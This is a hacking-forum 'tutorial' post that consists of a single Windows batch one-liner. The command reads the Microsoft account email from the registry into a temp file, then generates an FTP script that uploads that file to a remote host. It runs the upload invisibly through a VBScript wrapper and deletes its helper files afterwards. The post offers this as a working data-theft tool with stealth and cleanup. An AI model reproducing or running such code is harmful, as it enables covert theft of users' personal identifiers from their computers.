Sinisterly
[BATCH] Extract windows admin email from any windows with this code - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: [BATCH] Extract windows admin email from any windows with this code (/Thread-BATCH-Extract-windows-admin-email-from-any-windows-with-this-code)



[BATCH] Extract windows admin email from any windows with this code - hacxx - 08-31-2022

Code:
(echo reg query HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\UserExtendedProperties\>c:\windows\temp\windows-email.txt && echo @ftp -i -s:"%~f0"^&GOTO:EOF & echo open 127.0.0.1 & echo 1 & echo 1 & echo binary & echo put "c:\windows\temp\windows-email.txt" & echo disconnect & echo bye & echo quit) > %temp%\5.bat && echo Set objShell = WScript.CreateObject("WScript.Shell") > %temp%\5.vbs && echo objShell.Run("%temp%\5.bat"), 0, True >> %temp%\5.vbs && %temp%\5.vbs && del /f /q %temp%\5.bat && del /f /q %temp%\5.vbs && exit